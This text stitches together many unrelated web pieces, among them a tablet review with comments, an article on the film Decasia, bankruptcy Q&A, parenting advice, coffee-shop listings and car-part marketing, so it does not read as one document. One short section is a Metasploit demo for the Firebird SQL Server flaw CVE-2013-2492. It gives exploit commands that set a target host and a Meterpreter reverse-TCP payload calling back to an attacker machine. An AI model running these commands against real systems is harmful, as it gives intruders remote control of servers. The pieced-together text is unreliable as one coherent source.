Lower-cost tablets are all the rage these days. Where most budget tablets were once borderline unusable, tabs like the Acer Iconia Tab A210 can now offer fast processors, decent-quality screens and almost all the capability of more expensive devices, all for well under £300.
It may not be desirable or all that slick, but the Acer Iconia Tab A210 does tick some of the right boxes for the tech-heads.
The Acer Iconia Tab A210 is a 10.1-inch tablet. It's still the most common size among Android tablets, and while it sits happily among its 10-inch peers, it's as much a reaction to the low-cost Google Nexus 7 as rival full-size models.
Acer's plan here is to shave off all the thrills to provide about 85 percent of what the top models offer for around 60 percent of the price. For a 16GB Acer Iconia Tab A210, you're looking at a cost of around £250. It sits half-way between the Google Nexus 7 and iPad 4.
One of the first casualties of going for an Acer tablet is style. Although the Acer Iconia Tab A210 uses a similar frame design to the higher-end models in the range, it's not particularly attractive. The textured silver back is a single piece of curved, dotted plastic, but it bulges out conspicuously and lacks grace - a bit like the lid of a budget laptop.
The Acer Iconia Tab A210 isn't slim or light, either. At 712g and 12.4mm thick, it's a chunky beast that'll give you forearms the size of thighs if you try and hold it one-handed daily.
This is a landscape orientation tablet that you're meant to hold in two hands. However, its edges aren't smoothly curved but relatively sharp on these sides. In-hand comfort is just ok, nothing more.
A lack of design panache robs the Acer Iconia Tab A210 of the desirability factor that's a pretty important part of a tablet. And although valuing function over form is a strategy we can respect, the added weight factor means it encroaches into what the tablet is actually like to use too.
There are some hardware benefits, though. The Acer Iconia Tab A210 offers above-average connectivity. All the connectors bar the power plug sit on the left edge, some out on show, others under a little plastic flap. Nakedly showing their wares are the headphone jack, microUSB socket and full-size USB. It's the USB that's a break from the norm, letting you plug in a keyboard or mouse easily. A thinner tablet simply couldn't fit one in.
Under the plastic flap on this edge there's a microSD memory card slot and a little recessed reset button. The flap isn't exactly graceful and cements the Acer Iconia Tab A210 as vice president of the tablet world's chess club, in aesthetic terms, but it helps to ensure that your hands don't rest over any of the sockets.
The Acer Iconia Tab A210 isn't a tablet most will be proud to hang out with, but there are a few thoughtful hardware tweaks like this.
There's an autorotate lock on the top edge - which is extremely useful for extreme lounging - and there are stereo speakers on the rear, rather than just the mono you might expect in a low-ish-cost tablet. And while the back doesn't look great, it is lightly textured to give a more pleasant surface for your digits to rest upon.
The Acer Iconia Tab A210 - it's not cool, it's not sleek and it's not hugely desirable, but it doesn't make any downright wrong hardware decisions either. Aside from the dated-feeling cylindrical power socket, that is - it's so 2007.
6/10 is very harsh. £199 for a Tegra 3 tablet is a bargain! Acer also upgraded the device to Android 4.1 Jelly Bean. Make no mistake; this is a media powerhouse! If you want a cheap device to watch jitter free 720p/1080p movies etc. then do consider buying this little gem.
I have one of these A210 tablets and think it's great. Its the same price as a nexus 7 but includes the same processor and screen resolution:but adds 10" instead of 7"; MicroSD slot for cheep storage upgrades; full size USB as well as micro usb ports; cheep three year warrantee option; It' much faster than a samsung galaxy 10" tab and already runs jellybean. If you want a larger tablet and not worried about fitting it in your pocket, then this is a great choice. I must also say the screen on mine is great, so I don't know if acer have upgraded it on later devices.
I have to agree with both previous comments. 6/10 is a bit on the low side. This tablet is excellent value for money. The screen is more widescreen than the iPad and at 10.1 inch it is a perfect size for watching videos, playing games, browsing etc. It is a nippy, responsive tablet and in a world where mobile phones are rapidly approaching a 5" standard size why would you pay £200 for a tablet just 2 inches bigger when you can have this one which is a proper tablet size. It is weighty enough to feel premium and the grippy back covering is excellent (not the slippy coating on the rear of the iPad). This is a premium device for budget money. It should command a rating of at least 8/10 if not more.
I do not agree that cylindrical power connector is a drawback. It is much better than proprietary connector. They often damage after a while and cost you extra money and effort to replace a charger.
The writer of this essay seems to have little knowledge about battery. mAh is NOT a correct unit for the comparison of batteries with different voltage. Wh is the right one. Get it? 3.7V 6000mAh is equal to 7.4V 3000mAh. As a matter of fact, Acer A210 has 24.1Wh, Samsung Galaxy Tab 2 10.1 has 25.2 Wh, and IPad 4 has 42.5Wh total battery capacity.
Wow. What a phenomenally bad review. Do Acer not buy enough advertising?
As someone who has got one of these I can honestly say this is a very good machine for the money (and the price continues to fall). The performance isn't "respectable" its v.good for a tablet at this price. The battery life is OK, not mediocre. The screen is fine. There are no "relatively sharp edges". And no its rivals aren't the Nexus 7 ( you know 7 i.e. smaller i.e. different) or the Ipad 4 (a LOT more expensive), its main rivals are similarly sized Samsung tablets, which more, can have way poorer spec and garbage build quality. But, Samsung do do a lot of advertising.
Trusted Reviews? No, "mediocre" and unbelievably biased, definitely (and this isn't the only one)
Just bought this tablet last week. Great buy. Great spec for the price and very solid high quality build. Highly recommend.
Just bought this Tablet, and I cannot wait for it to get here. I have used a friend's unit, and for the money, it's quite simply the best budget model out there. This and other reviews on the A210 are poor. I have to agree with Flabbergasted here. The machine deserves a MUCH better review and deserves the correct comparisons. I'd give 8/10. I won't be coming back here for another review, thanks.
Kudos for the comprehensive review, but I've owned this tablet for several months now and find the author's final scores a bit harsh. This tablet isn't competing for king of the hill, but it delivers outstanding value. Snappy performance, runs Jellybean, runs well with anything I've thrown at it, and nice expansion and connectivity (though it has no HDMI unfortunately). If it were to cost the same as a Nexus 10 or iPad, then yeah - a 6 rating is fair. But I'm in agreement with others that this tablet offers tremendous bang for the buck. I'd give it a solid 8 or 9 for what it is.
I have had my Tablet for almost 8 months and I couldnt be happyer for the price I payed it works for what I need and then some... Only problem I have had is my auto rotation going off and not being able to get it to come back on... other then that its great..
I'm stuck between this and the Hisense Sero 7 Pro - which do you think is better?

When you make a study of silent cinema, you develop a relationship with mould. Invariably, it's an abusive one. You order up a title from the vaults, lug the reel out of its can, hoick it on the Steenbeck editing table, thread the film around the rollers, and throw the switch. On the tiny screen, long-dead actors gaze into the lens, their mouths moving silently, their skin glowing white with Leichner No 5. Then, their world is invaded by a sudden chaos of blotches, and you realise that time and fungus have reduced this portion of the negative to a mass of blistered emulsion; that what you wanted to see has been lost for ever.
For anyone with an interest in pre-1930 movies, Bill Morrison's film, Decasia, ought to be torture. Its director, a 38-year-old Chicago-born artist, toured the archives of North America, poring over their most dilapidated lengths of celluloid, grubbing about in their preservation departments, making fresh prints of frames too corrupted ever to be screened in public. The result, however, is neither depressing nor infuriating. Faces melt and buckle in the frame; figures flicker from positive to negative. A boxer smacks at the coursing vortex into which decay has transformed his punchbag; a man propels a spinning wheel that, through a freak of decomposition, has become a matrix of light. Watching Decasia is like attending a seance, or looking through a window into your great-grandparent's dreams.
Initially, some archival institutions were suspicious of Morrison's interest. "It was," he recalls, "like asking to see their dirty laundry." They were reassured, he suspects, because they realised that by showcasing the ferocity with which time eats up old nitrate film stock, his compilation might stir donors and funding bodies into helping.
Morrison's own view of the piece is rather different. "It's more about the acceptance of decay, which is the natural state of things. You have to appreciate things not only when they're pristine, but also as they're decaying, and when they're gone. And if, by chance, we get to see a ghost again, as we do in Decasia, then we can appreciate that while it's around.
"We have to do the best we can to preserve them - I don't mean that the archival industry is a waste of time, but as we get deeper into cinema history, it's becoming clear that we can't bring its entire legacy with us. Perhaps if Spielberg wanted to leave his estate towards film preservation, that would take care of a certain portion..."
Indeed, Morrison's film presents the decay of celluloid as something as beautiful and inevitable as a fall of autumn leaves. Its subjects seem engaged in a mysterious dialogue with the physical collapse of the medium in which, long ago, their images were fixed: a mass of ants appear as agitated by the degradation of their close-up as the stick with which the cameraman breaks up their nest; sea crashing against a beach seems to be showing that it can reduce itself to an abstraction of squiggles equal to the ruinous state of the film. You have the sense that nature is reclaiming materials borrowed by these film-makers - camphor, silver, alcohol, sulphur - and returning them to their original state.
For me, attending a screening of Decasia at the British Film Institute - just down the corridor from the cubicles in which I have spent hours watching the remains of our own silent period - the film also felt like a kind of exposure. I found myself asking whether I would find this material so intoxicating if I didn't know that 80 per cent of our silent cinema had been lost to decay, ignorance and critical indifference. I wondered to what extent my responses to watching a picture by, for example, the pioneering British director Henry Edwards, were shaped by my knowledge that, during the Second World War, most of his back catalogue was thrown on to a bonfire.
"When we lose a very old relative, it's not always tragic," Morrison reflects. "I went to the funeral of my 102-year-old grandmother, and it was a great family party." The same attitude, he argues, might be extended to the films that we will lose to mould and entropy. "The spirits, the dreams of these films are what is captured in the image. The films take the spirits and dreams with them as they go, but they're returning to the base elements, and may be reborn as something that new spirits and dreams can find their way towards."

The bookcase dates from the years immediately preceding Louis Majorelle's triumph at the Exposition Universelle, Paris, 1900. The design clearly embodies many of the attributes that would bring Majorelle considerable commercial success, such as his use of stylised carved trailing plants and an elegant fluidity of form.
The inlaid thistle motif on the bookcase appears in a number of other cabinets produced by Majorelle from the years 1897-1899. The thistle plant itself is common to the countryside of Alsace Lorraine and as such was an extremely popular visual motif amongst many designers of the Ecole de Nancy.

No VAT will be charged on the hammer price, but VAT at 15% will be added to the buyer's premium which is invoiced on a VAT inclusive basis.

text: This woman's clothes will make you want a summer romance! Seaside stripes, off-the-shoulder dresses and romantic frills! Milly's Michelle Smith let us in on the secrets behind her summer collection… 28th June 2016 Michelle Smith founded the contemporary fashion label Milly 15 years ago, after returning from three years in Paris working for Hermes, Louis Vuitton and Christian Dior Haute Couture. She is based in New York and the label is the family affair - her husband, Andrew, is her business partner and her children, Sophia, 9, and William, 7, come out and take a bow with her at the end of every show: 'People who have followed us from the start have seen my children grow up in those runway moments - it's very sweet.' 6 things Michelle told us about the collection... This collection recalls the seaside - you can see it in the heavy cotton sailcloth, the bold stripes and the colour palette. I wanted the collection to express the feeling of a summer romance in a fresh, modern way.All the colours were inspired by summer, taking you from sunrise to dusk. The show began with shades of blue and ended with a fiery sunset.I took classic, almost utilitarian fabrics traditionally associated with menswear and sculpted something feminine out of them, like ruffles and off-the-shoulder tops made out of the cotton poplin normally used in men's shirts.I used geometric - in such a feminine collection florals would have been too much.The softer shapes in this collection reflect my shift in mood away from aggression and showiness towards love and romance. I wear the clothes I design, so it's a very personal experience. YOU MIGHT LIKE... The hottest young jewellers on the block How to wear a playsuit The 6 sexiest fashion rules right now

Hello there!
I would like some inside information on the Master's degree in Conference Interpreting offered by UAB. Has anyone here attended this Master's or do you have any knowledge of the quality of the course? It appears on the DG Interpretation list of recommended schools, which is how I found out about it.
I recently took their language aptitude tests (July 2014), las pruebas diagnosticas, and everything went smoothly. This is the first year that they are offering the option of English as the main language (with Spanish as a second language and an obligatory French or German C).
They hold three language test sessions per year: 30th of May, 18th of July and another on the 8th of September. These sessions include oral and written comprehension exercises in your B and C languages after which they ask you to briefly describe yourself and give a 2 minute speech, on a a subject of their choice, in your main language (for example, I was given "the loneliness behind social networks", some other candidate got "artificial cloning"). These are all done with the other candidates present. Finally, you are invited in one by one and asked to do two sight translations, from your second and third languages into your main one. This is the point when the assessors present your with their impressions and advice. From my experience, they also tell you if you accepted into the course or not. I got accepted with English A, since I am not originally from Spain and I'm a Romanian with near-native English, the only problem was that since it's the first year that they are offering the course in this format, there were very few candidates that wanted English A. I am interested in staying in Spain for various reasons and this school seemed like a good place to start and develop my interpreting skills, but right now it all depends on whether or not there will be enough students.
Fingers crossed that more hopefuls will show up on the 8th of September!

If not, make sure to include your case number and the date you filed for bankruptcy and the date when you received your discharge.

Your home is likely protected by the Arizona homestead exemption, which protects up to $150,000 in equity in your home (most homes in Arizona have nowhere near that close). In a chapter 13 bankruptcy you are going to be able to get caught up on missed payments on the land or surrender them and have no future liabilty.See question
I stopped paying our timeshare becuase I have other bills to pay that are more important than our timeshare. What will happen now?
You will likely lose the time share and may have additional financial liabiltiy afterword. A chapter 7 or chapter 13 bankruptcy can permit you to surrender the timeshare and have no future liabiltiy.See question
i need to file for bankruptcy, but i have family i need to repay.can i sell my motorcycle its paid for free and clear. and how long after sale do i need to wait befor filling
I would not recommend your course of action. Any type of repayment of a family member within a year prior to filing is going to come under scrutiny and possible reversed. The way the transaction is reversed is by the trustee suing your family member, which makes family reunions very difficult. You need to consult with any attorney prior to taking any action.See question
I am unemployed, facing foreclosure on my home and there is "no light at the end of the tunnel" in sight. I really am reluctant to file bankruptcy for the small amount of the judgment. Additionally, I really do not want to face garnishment of my...
I understand your reluctance to file bankruptcy, however, as I often tell my clients, it is difficult to evaluate how much is "enough" to file bankruptcy on. For some clients, they may owe $200,000 in credit card and could likely pay it off over time, other clients who owe $10,000 might as well owe $10 million because they don't have sufficient income to pay any amount back. You should consult with a bankruptcy attorney and look into a Chapter 7 filing. It would be a bad situation for you to gain employment only to be hit with a garnishment from day one.See question

I have not been able to use my Linx 8, due to having a black screen. I searched online for help and found that It could be set to multi screen. I did try to use a HDMI to multi screen, but the micro>standard hdmi has broken so I cant change the settings.
I have had this problem for almost a year now, and have not been able to use it since.
(It also shows the dots where I press the screen.)
Can I do a factory reset without accessing the settings? I saw something about the power button and volume?

UC-Syracuse Postgame Quotes
Nov. 3, 2012
Recap | Final Stats | Notes | Photo Gallery 1 | Photo Gallery 2
Syracuse at Cincinnati
UC head coach Butch Jones:
"All the story lines of having to play with the third, fourth, and sometimes fifth defensive back. True freshman Kevin Brown was forced into action and all the little things, the resiliency, the perseverance was a tale of two halves. The first half, we did not get off the field on third down and that was the reason why the time of possession was out of sorts. We turned the football over, especially in the red zone, we can't do that and so they got a touchdown on a botched punt return. In the second half, we played the way we are capable of playing and what we expect out of this football program. We got off the field on third down, made plays and scored touchdowns in the red zone. Our defense did a tremendous job at railing and getting us the football. It is important what we do with points after the turnovers and we did a great job with that."

"When we've won, we've executed. We've made plays. When things go on like this, we haven't done those things. Not that we haven't had the opportunities. I think that's the most frustrating part of it. If you look at it and say, 'Gosh, no one is open,' then it's like, semantically, we've got issues. At times, when we make them, we've played pretty darn good. When we don't make them, or don't take advantage of when we've had the lead and really tried to increase it, (there was a) penalty. Then, all of a sudden, you're sitting third and something. They pressured us and we missed a pickup – the one that we worked on all week. Next thing you know, it's a fumble. They've got the ball again. It's frustrating. I've got to find a way. It's my responsibility to find a way to get this team to perform at a level where it's capable of performing. And they're not, and it's my responsibility. And that hurts, it hurts me."

Last year saw the release of yet another found footage horror film in Area 407, the horrifying tale of plane crash survivors who suffer a fate worse than death when they crash land directly into a government testing facility inhabited by big-ass dinosaurs.
Later this year the ante gets upped with Area 407: Part Two, and this time zombies are being added to the mix. Area 51 ain't got nothing on this shit!!
Directed by Jay Lee, Area 407: Part Two stars Abigail Schrader and Samantha Lester. Check out the concept poster and trailer below.
The original Area 407 featured lost footage too real for reality and too disturbing for fiction. The film opened with two teenagers flying from New York to Los Angeles on New Year's Eve, whose nightmare began when their plane hit extreme turbulence mid-flight. The plane crashed in a remote government testing area, and the handful of survivors from the crash, bloody and disoriented, were pursued in the darkness by unknown predators, part of the government's top-secret Mesa Experiment.
Area 407: Part Two features the survivors of the plane crash fighting for their lives in even more terrifying circumstances as more of the horrifying government conspiracy unfolds.

Will consoling boys make them wimps? Q:I have two sons who are 3 and 2 years old. If either one cries after being hit by the other, falling down, bumping or squeezing a body part, my husband consoles them by saying, "You're OK," and tells them to stop crying. His logic is to "toughen them up" and not raise "sissies." I believe at their ages, children should explore their emotions instead of stunting them. Is it possible that my husband's consolation technique will affect our boys' emotional development? P.J.W., Lemont
A:You are so right. What your husband is doing is contradicting your sons' self-experience of feeling hurt and/or scared. In other words, he is telling them that it is bad to listen to themselves and shameful to cry when they feel bad. Children tend to adopt parents' attitudes toward them, and your sons will do their best to do what your husband says and ignore their feelings and avoid tears. So rather than making them tough in a good way, namely resilient and in touch with their feelings, your husband's approach will cause your sons to become tough in the sense of being out of touch with their emotions and indifferent to others' pain. They may have great difficulty being compassionate toward friends and, as adults, toward partners and their own children.
Another danger is that, as adults, they will deny illness and injury and won't seek medical attention when necessary. You need to explain to your husband that acknowledging feelings of pain and unhappiness are signs of strength rather than of weakness-that true heroes always know how they feel and what they are risking.
If your husband won't or can't change his approach, you need to make sure they have a different example to follow. Tell your boys that you and their dad both love them but that you disagree about whether it's acceptable to cry and to feel upset and that you are always available to listen if they are feeling badly.
I'm worried about how we can calm my son's fears Q:My 8-year-old son has been increasingly asking questions whenever his dad or I aren't at home. Questions such as: "Is Mommy OK?" "When is she coming home?" "How long is Daddy working?" Or when it's bedtime for him and his brother: "Are you going to bed, too?" Some days I can answer his questions calmly. Other days I want to scream. Where are these worries coming from? He doesn't like being separated from the family at any time and is very overprotective of his baby sister. How can I help him calm down? He's too young to have all these concerns. N.Q, Evanston
A:Usually, when children have excessive fears about members of the family, either they have experienced a traumatic event, such as the death or serious illness of a close friend or relative and are concerned that tragedy will strike again, or they have angry feelings that they worry are so powerful that they will harm those close to them. If no one in your son's life has been seriously ill or injured, then perhaps you need to consider whether his fears result from angry feelings he is not comfortable acknowledging. Children tend to have very unrealistic beliefs in the power of their feelings-they really believe angry thoughts can kill. It sounds as though your son is feeling resentful over the arrival of a new baby and perhaps because you don't have as much time to spend with him. He may be checking on everyone's well-being to make certain that the family is safe from his angry reactions.
We suggest that you talk to him about the fact that it is normal to feel upset or angry sometimes, especially when a baby joins the household and draws everyone's time and attention. Invite him to share these feelings with you any time. Also, be sure you are making enough special time to spend with your son so as to reduce any feelings he may have of being pushed out of the limelight by his baby sister.
How do I deal with my son's separation anxiety? Q:My 3-year-old loves to explore-when we go to the playground, he takes off. Then at some point he realizes I am not right beside him, he panics and starts to cry hysterically. When I arrive he is usually surrounded by concerned parents and he jumps on me as though I abandoned him, wraps his arms around me and clings like plastic wrap. I feel embarrassed and irritated by this repeated behavior. I have thought about forbidding him to leave my side, but I don't want to turn him into a mama's boy. What do you recommend? A.P., Kankakee
A:The best solution would be to put your track shoes on and try to stay near him when he takes off. That way when he turns around, you will be right there beside him. As his panic when he can't see you shows, your son is not trying to get away from you. Rather, he has a wonderful enthusiasm and curiosity, which you are right not to want to dampen.
For moments when you are tired, try to engage him in a more stationary activity, such as building a castle in the sandbox. Or try to find fenced playgrounds with good sight lines. Most important, though, is to keep in mind both that this is a temporary phase, and also that it will do wonders for his outlook on life to know that you approve of his wishes to explore his world and are willing to provide the safety net he needs when he takes a breath and looks around.

CVE-2013-2492 Firebird Relational Database Vulnerability Metasploit Demo
Timeline :
Vulnerability discovered by Spencer McIntyre the 2013-01-31
Vulnerability reported to the vendor the 2013-03-05
Coordinate public release of the vulnerability the 2013-03-08
Metasploit PoC provided the 2013-03-08
PoC provided by :
Spencer McIntyre
Reference(s) :
Affected version(s) :
Firebird versions 2.1.3-2.1.5 and 2.5.1-2.5.2
Tested on Windows XP Pro SP3 with :
FireBird 184.108.40.206539
Description :
This module exploits a vulnerability in Firebird SQL Server. A specially crafted packet can be sent which will overwrite a pointer allowing the attacker to control where data is read from. Shortly, following the controlled read, the pointer is called resulting in code execution. The vulnerability exists with a group number extracted from the CNCT information, which is sent by the client, and whose size is not properly checked. This module uses an existing call to memcpy, just prior to the vulnerable code, which allows a small amount of data to be written to the stack. A two-phases stackpivot allows to execute the ROP chain which ultimately is used to execute VirtualAlloc and bypass DEP.
Commands :
use exploit/windows/misc/fb_cnct_group set RHOST 192.168.178.22 set TARGET 0 set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.178.36 exploit getuid sysinfo

A Picture Book by Jeannie Baker
Two diverse countries and cultures are linked with warmth and charm in this two-in-one picture book. This innovative picture book comprises two stories designed to be read simultaneously - one from the left, the other from the right. Page by page, we experience the lives of two little boys - one from an urban family in Sydney, Australia, the other from Morocco. From busy motorways to desert landscapes, these worlds couldn't be further apart. Yet with the journey of a homemade Moroccan carpet into the Australian boy's home, we can see how these separate lives become intertwined. At the book's conclusion, the family in Sydney can be seen enjoying their new purchase together while the Moroccan family are surfing the internet. A powerful book, "Mirror" illustrates how our lives reflect each other and that we are all, even in some small way, connected. It features innovative dual-book format, effectively communicating the way people's experiences and values are shared, despite geographical and cultural differences. The essential story is conveyed wordlessly, while the short introduction and author's note appear in both English and Arabic. There is a keystone in the vital bridge across the East-West gap.

Best Of :: Shopping & Services
We were rooting around in the family safe and came across Dad's old Bulova wristwatch. A gorgeous rose gold with a tinted, magnified crystal, it had been Mom's wedding day gift to Dad in 1946 and was inscribed to him with love. It was dead as a doornail, but how could we not send it out for restoration? We braced ourselves: Restoring a nearly 70-year-old watch would not only be costly, we figured, but might also mean dealing with some snotty weirdo who wanted to talk us into buying matching earrings or something else equally annoying.
Boy, were we wrong. A quick Internet search for "vintage watch restoration Phoenix" turned up — huzzah! — a Phoenix-based service called Vintage Watch Restoration, which resulted in one of the best jewelry experiences we've ever had. In the watch-repair business since 2001, owner Bruno Park (a charming, French-speaking fellow from the island of Mauritius) not only came and picked up Dad's watch from our office, but ended up charging us less than his already-low estimate for repair and restoration. (Park also accepts watches through the mail and reportedly does international business as a restorationist.) We wear Dad's watch every day now, and it not only looks great and makes us feel closer to him, but it tells time, too. Now we're scrounging around, looking for other broken watches for Mr. Park to repair.
One of the Valley's best-kept secrets, the Roastery of Cave Creek was started by Dave Anderson as a small operation that roasted estate-grown organic coffee for some of the best local restaurants. Chances are you've sipped this expertly roasted coffee once or twice without even knowing it. If you have had a cup of joe with your breakfast or brunch at Matt's Big Breakfast, Bertha's Café, or Vovomeena, you have tasted the divine elixir that results from these exceptional coffee beans. There are several single varietals and blends available from ROC2, but they all have in common a great sense of balance, full-bodied flavor, and rich smoothness. These beans can be purchased directly at the roastery or by e-mailing firstname.lastname@example.com. The blend made especially for Bertha's Café can be purchased at the restaurant.
There's something so addictingly romantic about sipping a shot of espresso, cleansing your palate with the accompanying sparkling water, and pondering life's great mysteries while sitting in the open, airy Giant Coffee lounge in Central Phoenix. For local espresso lovers, Giant's Four Barrel Friendo Blendo espresso is a high point in a town of many great coffee joints. Two dollars gets you your shot and the side shot of sparking water, which is an unbeatably cheap pick-me-up. The thick, almost syrup-like consistency of the espresso paired with its tart fruit notes somehow make the perfect companion to Giant's flaky, savory quiche, which has been known to contain bacon, goat cheese, and pecans on certain days. That combo is sure to get you moving, maybe right across the street to the Phoenix Art Museum — now, doesn't that sound like a lovely day?
When Central Phoenix locals want to show off their neighborhood know-how to out-of-town guests, chances are they take them to Lux Central. Stationed in a nondescript building, this hipster hotspot houses a lively interior of mismatched mid-century furniture, typewriter centerpieces, grandma-chic dishware, and a seemingly endless maze of rooms in which to work, study, and socialize. Open from the wee hours and back again, Lux triples as a coffee shop, bar, and restaurant, serving up mason jars of iced lattes, as-you-like-it cocktails, and an ever-changing made-to-order menu. With so much action happening in one place, it's no wonder Lux draws such an around-the-clock assortment of people. From posh professionals and caffeinated study groups to late-night socialites and (don't say we didn't warn you) a fair share of awfully loud religious zealots, Lux Central is a miscellaneous mecca.
Shine started off as a retro trailer coffee shop that cropped up at different farmers markets and events in downtown Phoenix. Since then, it's expanded to include a permanent coffee stand just south of Thomas Road off of Central Avenue. Though the small outdoor shack still serves up some of the best pastries in town, like raspberry peach handpies and orange blossom shortbread, the best part is Shine's brand-new "Living Room" lounge in the neighboring building. It may seem intimidating to walk into a separate building with your wickedly delicious vanilla bean latte in tow, but once inside, you'll find a space that looks like a living room anyone would be happy to call their own, with lovely vintage furniture, great local art and mellow, ambient music — the perfect environment for reading a book or getting a boatload of work done. Plus, unlike most living rooms, there's no TV to distract you.
Pomegranate Café is as much about fresh juices, teas, and gluten-free, organic, local and vegan cuisine as it is about the coffee — maybe more so. But that suits us just fine when we're in South Phoenix, because it's nice to have a cafe to go to when we want a caffeine rush with a side of über-healthy. The kombucha and cleansing juices are definitely a more chakra-friendly option to your classic coffee drinks, but the espresso drinks are nothing to sneer at, either. If you get hungry after your soy latte, the simple, wholesome menu includes vegan burgers, raw tacos, kale salads, gluten-free bowls, and some great granola. Picky eaters with a laundry list of diet restrictions are always welcome at Pomegranate Café, which is good 'cause it's hard to find many other places in the Valley to take them while still satisfying our caffeine needs.

The BBC has failed to broadcast a tribute program to Colin McRae.
This was going to be the second in the three-part series "Racing Legends", profiling Britain's greatest racing drivers, the other two being Stirling Moss and Jackie Stewart.

- DiRT 3 handling model
- The realistic Gymkhana from DiRT 3 with plenty of freeroaming courses
- More S2000 cars - they're an underrated class. Only two models in DiRT 3! What about the Ford Fiesta, Proton Satria Neo, Skoda Fabia, Mini Countryman?
- Liam Doran's RallyX Citroen DS3
- Any of the Pikes Peak Ford RS200s. Preferably this one
- Vehicles you can customize to compete in different disciplines like DiRT 2 (I fancy a Gymkhana-spec R4)
I'll probably think of some other stuff later...

When your Toyota MR2 left the factory, it was destined for a person with discerning taste who wants economical pricing in their automobile. Toyota car, truck, or SUV enthusiasts have grown accustomed to a certain level of best-in-class value when driving their MR2 around town. You purchased your MR2 because its fuel efficiency and driver satisfaction struck a chord inside you; so why would you settle for second rate when it comes to great quality auto parts? It's not every day that you discover you need a replacement Water Pump for your car or truck.
Your Toyota MR2 has a liquid-cooled engine, and if there were a heart in that motor it would be the water pump. It turns along with the crankshaft via a belt that connects pulleys on each part. Along with the thermostat, coolant hoses, and radiator core, your Toyota MR2 water pump continuously recirculates a mixture of water and coolant through the engine; keeping it operating at a manageable, pre-determined temperature. If it fails, then the coolant temperature will soar and your engine block or cylinder head will crack.
Given all the trouble that can be involved with performing maintenance on your car or truck, let www.carpartsdiscount.com be the most authoritative website you go to make purchasing it easy. Buying new Toyota parts from www.carpartsdiscount.com means you are getting the best deal on the absolute greatest original and aftermarket replacement MR2 parts on the internet. At Car Parts Discount, we have real customer support agents available with enough expertise to help you purchase the appropriate Toyota MR2 part for your needs.
